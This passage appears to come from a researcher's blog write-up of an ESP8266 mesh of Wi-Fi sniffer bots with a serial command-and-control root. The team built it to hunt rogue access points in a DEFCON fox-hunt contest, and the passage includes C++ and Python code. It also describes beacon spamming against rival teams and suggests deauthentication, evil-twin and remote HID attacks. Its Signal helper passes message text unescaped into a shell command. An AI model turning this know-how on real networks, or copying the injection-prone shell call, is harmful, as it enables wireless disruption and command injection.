1. Take the sum of the two main mode intervals. **Assume they both add up to a prime and/or odd number.** This is the total time it will take to re-start to mesh mode, or `precision`
2. Round up the current NTP time to the calculated precision to find the next point in time to sync with. This is the `nextThreshold`
3. Subtract the current NTP time from the `nextThreshold` to determine how long the node must delay to re-enter the network&#x20;

```cpp
//Synchronization uses SNTP built into painlessMesh in order to keep the bots in synchronization across modes
uint32_t CalculateSynchronizationDelay(){
  uint32_t current = mesh.getNodeTime();
  //offset current time from the target interval
  //pulling by 1ms
  Serial.printf("current time is: %i microS\n",current);
  current = current / 1000;

  uint32_t precision  = (meshCommInterval + sniffInterval);
  //get the next closest interval to synchronize with the mesh
  uint32_t nextThreshold = roundUp(current, precision);
  Serial.printf("current time is: %i mS\n",current);
  Serial.printf("next threshold by rounded by %imS is: %imS\n", precision, nextThreshold);
  nextThreshold = nextThreshold - current;
  return nextThreshold;
}
```

```cpp
uint32_t roundUp(uint32_t numToRound, uint32_t multiple)
{
    if (multiple == 0)
        return numToRound;

    int remainder = numToRound % multiple;
    if (remainder == 0)
        return numToRound;

    return numToRound + multiple - remainder;
}
```

With the new delay in hand, the tasks are relaunched according to the new synchronization delay, and the bot is initialized/re-initialized into the network:

```cpp
    fromSync = true;
    botInitializationTask.restartDelayed(syncDelay);
    snifferInitializationTask.restartDelayed(syncDelay + meshCommInterval);
    channelHopTask.restartDelayed(syncDelay + meshCommInterval);
    resyncTask.restartDelayed();
```

### Bot Implementation - Sniffer Mode

The mainstay operation of the bots is to locate source BSSIDs which are sending specific beacons or probes through the air, to locate anomalies and/or zero-in on a potentially adversarial access point in an environment. Sniffer mode is where the functionality is implemented. First, the bot is taken out of mesh mode, initialized into WiFi STA opmode with promiscuous enabled:

```cpp
bool initializeSniffer(){
    botInitializationTask.restartDelayed(sniffInterval);
    mesh.stop();
    wifi_set_opmode(STATION_MODE);
    wifi_promiscuous_enable(ENABLE);

    return true;
}
```

The promiscuous callback is defined on power-up, as&#x20;

```cpp
wifi_set_promiscuous_rx_cb(promisc_cb);
```

The `promisc_cb` function strips the [802.11 frame](https://en.wikipedia.org/wiki/802.11_Frame_Types) down into each control field. If a discovered frame is a management frame and is a beacon (source BSSID) or a probe response (to the source BSSID), the beacon is parsed against a vector of running targets. If the targets vector contain the incoming frame, the bot enters into alert mode with the RSSI signal strength, channel, and BSSID all tracked.

```cpp
    if (frame_type == 0 && (frame_subtype == 8 || frame_subtype == 5))
      {
        struct beaconinfo beacon = parse_beacon(sniffer->buf, 112, sniffer->rx_ctrl.rssi);
        print_beacon(beacon);
        if (register_beacon(beacon) == 1)
        {

            Serial.printf("TARGET BEACON");
          print_beacon(beacon);
          if (!_sendAlertTask.isEnabled())
          {
              initializeAlertMode();
          }
          lastFoundRSSI = beacon.rssi;
          lastFoundChannel = beacon.channel;
          getMAC(lastFoundMac, beacon.bssid);
        };
      }
```

Similarly, if a probe request is discovered probing for the target, the same alert registration logic follows:

```cpp
else if (frame_type == 0 && (frame_subtype == 4))
      {
        struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
        struct clientinfo probe = parse_probe(sniffer->buf, 36, sniffer->rx_ctrl.rssi, sniffer->rx_ctrl.channel);

        if (register_probe(probe) == 1)
        {
          Serial.printf("TARGET PROBE");
          print_probe(probe);


        if (!_sendAlertTask.isEnabled())
        {
            //having trouble getting the compiler to set the onEnable callback for the alert mode task
            initializeAlertMode();
        }
        lastFoundRSSI = probe.rssi;
        lastFoundChannel = probe.channel;
        getMAC(lastFoundMac, probe.station);
```

### **Bot Synchronized Sniffing Demonstration**

The video below demonstrates two bots, being monitored over serial synchronizing over the mesh, using the SNTP synchronization scheme to ensure that both bots sniff & communicate at the same intervals:

{% embed url="<https://www.youtube.com/watch?v=vh4eTI7vWYA&t=7s>" %}

### Bot Implementation - Alert Mode

The alert mode is fairly straightforward, as it disables all other tasks and prioritizes send the alert a set number of times over a set period of time. It will either give up or receive an acknowledgement from the root node in order to resynchronize to the mesh and continue sniffing. This is [discussed in the next sections pertaining to C2 functionality](/2019/wireless-implant-c2-security-ops#root-implementation-c2-functionality) and the [alerting model](/2019/wireless-implant-c2-security-ops#alerting-and-response-pseduo-syn-ack-model).

```cpp
void initializeAlertMode()
{
        resyncTask.disable();
        snifferInitializationTask.disable();
        channelHopTask.disable();
        botInitializationTask.disable();

        Serial.printf("SETTING ALERT MODE\n");
        openMeshComm(false);
        _sendAlertTask.restart();
}
```

```cpp
void sendAlert()
{
    StaticJsonDocument<100> msg;
    msg["found"] = lastFoundMac;
    msg["rssi"] = lastFoundRSSI;
    msg["chan"] = lastFoundChannel;

    String str;
    serializeJson(msg, str);
    mesh.sendBroadcast(str);

    // log to serial
    serializeJsonPretty(msg, Serial);
    Serial.printf("\n");

}

```

### Root Implementation

The root node implementation is far simpler than the bots'. It indefinitely listens for traffic in mesh mode, and facilitates 3 main responsibilities:

1. Handle connections to the mesh
2. Intake commands and propagate them to the network
3. Send responses to alerts

![](/files/-MRHPVyzeE4MM2IhiAxw)

### Root Implementation - C2 functionality

#### **Sending Commands**

Assuming the root node is connected via serial, I wrote a [simple Python script](https://github.com/joeminicucci/fox_trap/blob/master/fox_track/src/c2Update.py) which issues commands to the mesh. The currently supported commands are:

* `tar` : add a target BSSID
* `rem` : remove a target BSSID

First the python script takes the command, checks it for length, flushes the serial port and writes it out:

```python
serialCom = openSerial(serialPort)
if command:
    commToSerial(command, serialCom);
    print 'wrote ' + command + ' to serial port ' + serialPort

while (interactive):
    time.sleep(0.1)
    command = sys.stdin.readline()
    print 'command is ' + command
    if len(command) > 17:
        print 'command is too long, try again'
        continue
    else:
        commToSerial(command, serialCom)
```

```python
def commToSerial(command, serialCom):
    serialCom.flushInput()
    serialCom.write(command.lower()+'\n')
```

Then, the root ingests the command and broadcasts it out across the mesh.

```cpp
void readSerialCommand (){
  if (Serial.available() > 0) {
    char command[17];
    command[Serial.readBytesUntil('\n', command, 16)] = '\0';
    const String commandStr = command;
    if (commandStr.startsWith("tar") || commandStr.startsWith("rem")){
       String msg = prepCommandForMesh(command);
       mesh.sendBroadcast(msg);
    }
  }
}

String prepCommandForMesh(const String &command){
  StaticJsonDocument<25> comMsg;
  String commandAlias = getValue(command, delimiter, 0);
  String commandValue = getValue(command, delimiter, 1);
  comMsg[commandAlias] = commandValue.c_str();

  serializeJsonPretty(comMsg, Serial);
  String jsonStr;
  serializeJson(comMsg, jsonStr);
  return jsonStr;
}
```

The bot picks up commands as follows:

```cpp
void receivedCallback( uint32_t from, String &msg ) {
  Serial.printf("[RECEIVED] from %u msg=%s\n", from, msg.c_str());

    StaticJsonDocument<100> root;
    deserializeJson(root, msg);
    
    //Add a target
    if (root.containsKey("tar")){
        String targToAdd = root["tar"];
        addTarget(targToAdd);
    }
    if (root.containsKey("rem")){
        String targToAdd = root["rem"];
        removeTarget(targToAdd);
    }
}
```

### Alerting and Response - Pseduo Syn-Ack Model

Now its time to put the whole network together. Since the Mesh is prone to error and interference, I designed a simple `Ack` -> `Syn-Ack` -> `Fin-Ack` model for alerting the root, verifying the alert from the root, and finalizing the acknowledgement back to the root as a way to provide durability in alert mode. To make this possible,

The root defines:

* `ackTimes`: The amount of acknowledgements
* `ackSeconds`: The interval between acknowledgements

The bot defines:

* `alertSeconds` : The length of time between each alert
* `alertTimes` : The number of alerts

The mode of operation would proceed as follows:

1. The bot discovers a target, enters alert mode, and attempts to send a maximum of `alertTimes` alerts for a maximum of `alertSeconds`&#x20;
2. The root receives the alert, and attempts to send Acknowledgements for a maximum of `ackTimes` for a maximum of `ackSeconds`&#x20;
3. If the bot receives the the Acknowledgement and alert mode hasn't yet expired, it will send a single FinAck and re-enter the normal duty cycle.
4. If the root receives the FinAck signal and it's Acknowledgement mode hasn't yet expired, it will stop Acknowledgement mode.&#x20;

![](/files/-MRHPP61yLf6phhqR3Kz)

## Proof of Concept

In the following proof of concept video, the left terminal demonstrates the [C2 monitoring script](https://github.com/joeminicucci/fox_trap/blob/master/fox_track/src/c2.py), the upper-right has the [C2 command script](https://github.com/joeminicucci/fox_trap/blob/master/fox_track/src/c2Update.py) issuing a new target over serial, and the lower-right is a bot in the mesh being monitored over serial. The guided demonstration of this video[ can be seen here at our DEFCON 27 presentation](https://youtu.be/oTcitUA9mhg?t=1922).

{% embed url="<https://www.youtube.com/watch?v=gpilMKk5_rY&t=43s>" %}

### Other Experiments

#### Signal app notifications

I thought it would be useful to receive notifications to our Signal group when we were out hunting the foxes at DEFCON, so I added the option of adding a Signal UserId / GroupId to the [C2 monitoring script](https://github.com/joeminicucci/fox_trap/blob/master/fox_track/src/c2.py) using the Python signal-cli:

```python
def run_signal_comm(signal_user_id, signal_group_id, found_message):
    print('SIGNAL COMMAND:', 'signal-cli -u %s send -m \"%s\" -g %s &' % (signal_user_id, found_message,signal_group_id))
    command = 'signal-cli -u %s send -m \"%s\" -g %s &' % (signal_user_id, found_message,signal_group_id)
    p = subprocess.Popen(command,
                          shell=True,
                          stdout=subprocess.PIPE,
                          stderr=subprocess.STDOUT)
```

This would be invoked as follows:

```cpp
python2 c2.py -s /dev/ttyUSB1 -u 123 -g 345 -m 2
```

#### Airodump Threat Hunt

We thought it would also be useful, in the case that we didn't have other operators helping us to hunt, to shutdown the root node when a target was found and to immediately drop into airodump. This would be invoked as follows:

```
python2 c2.py -s /dev/ttyUSB1 -u 123 -g 345 -m 2 && launchAiro.sh
```

To enable a continuous hunt, I simply [excluded the exit() call in the python script](https://github.com/joeminicucci/fox_trap/blob/bfb22e1247c6840c097f40d0cf8fc30dfab30e86/fox_track/src/c2.py#L38).

## ESP Threats in the Wild

During the DEFCON 26 CTF, after a prolonged period of unsuccessfully locating the fox, we began to employ more subversive tactics. We loaded our chips with a [beacon spamming module](https://github.com/spacehuhn/esp8266_beaconSpam), and were able to visually confirm other teams getting drawn away from the authentic targets.&#x20;

We also discovered the following thread on Twitter, adding credence to the fact that ESPs are a cheap way to subvert legitimate wireless communications in the wild:

![](/files/-MRHQCFElZZOgaU2Akm9)

## Conclusion & Future

### Offensive Use Cases

There are a myriad of use cases for a red team. While we limited ourselves to 802.11 due to budget and time constraints, the sky is the limit when it comes to the fundamental idea of tying wireless attacks together in a distributed C2 network. The [WHID Elite](https://github.com/whid-injector/whid-31337) is an awesome open source Arduino project which could be modified in such a manner, for example managing HID attacks remotely on multiple compromised endpoints. Also, creating a distributed de-authentication attack pattern would be very easy with this paradigm, as would KARMA and evil twin attacks, given the proper hardware.&#x20;

### Lessons Learned

While the ESP8266 is a fantastic chip to get going fast and easy on 802.11 stacks, 802.11 presented its own myriad of challenges such as crowded airwaves and unexpected signal loss. Power consumption was a major issue which could be addressed with both better hardware and more efficient software. We considered clustering the bots together with 2 chips for both bot modes to run simultaneously, and to communicate changes in topology and alert states over serial.&#x20;

Using an SDR over a custom frequency, or a [LoRa hardware](https://en.wikipedia.org/wiki/LoRa) would most likely provide a more stable communications channel and would allow for signal interrupts, nullifying the need to implement the bi-modal model in bots. BLE could also make for an interesting option.

After our [DEFCON 26 presentation on hunting rogue access points](https://www.youtube.com/watch?v=jGYrE3Jw-e0), we shared the mesh C2 idea around the wireless village, and showed a couple of teams our prototypes. To a bit of surprise, the [Dark Wolf Solutions](https://darkwolfsolutions.com/) team had taken our idea and run with it. Right after this presentation was given at DEFCON 27, the DarkWolf team 3d printed a box that contained a LoRa chip, multiple SMA antenna mounts, and even a GUI that they controlled their mesh from on their laptops. I wasn't given the opportunity to look at their source code beyond a peak, however it goes to show that a little extra budget and man power can truly go a long way. I wish sincerely the team will one day open source the project and give back to the community. They bought me a beer and let me take a picture, luckily, and here's what it looked like:

![DWS' LoRa mesh solution](/files/-MRHpLfNReSLfn9L0bJS)

We also considered feeding the incoming JSON to the root node into a more human-digestible framework for presentation and tracking. One notable example of demonstrating how wireless data ingestion from a single [ESP8266](https://www.espressif.com/en/products/socs/esp8266) SOC could be used was [this pHAT Sniffer project](https://github.com/larsjuhljensen/phatsniffer). In the future, using a platform agnostic framework such as ELK to ingest the data would also be a good strategy for a Blue Team looking to gain insight and visibility into their wireless environment, or a Red Team looking to make a nice report for an assessment.&#x20;

While this research is nothing more than an expedient anecdote in solving systemic problems with wireless communications used in the world today, the idea of distributing wireless operations in a command and control model is a valuable prospect. Given the proper hardware and programming could easily prove to be useful to attackers and defenders alike in the future, as the wireless landscape evolves into new standards and classes of attack.

## Original Presentation

The DEFCON 27 presentation can be found at the YouTube link below:

{% embed url="<https://www.youtube.com/watch?v=oTcitUA9mhg>" %}

## Source Code & Credit

The original source code is open and free, and can be found here:

{% embed url="<https://github.com/joeminicucci/fox_trap>" %}

Credit goes to:

* [**Joe Minicucci**](https://joeminicucci.com) - *Software implementation and architecture*
* **Todd Cronin** - *Hardware and conceptual design*


# 2018


# Hunting Rogue Access Points

Initial field work at DEFCON 26 revealing strategies to hunting rogue access points

Todd & I discuss hunting stationary rogue access points at DEFCON 26.

{% embed url="<https://www.youtube.com/watch?v=jGYrE3Jw-e0>" %}


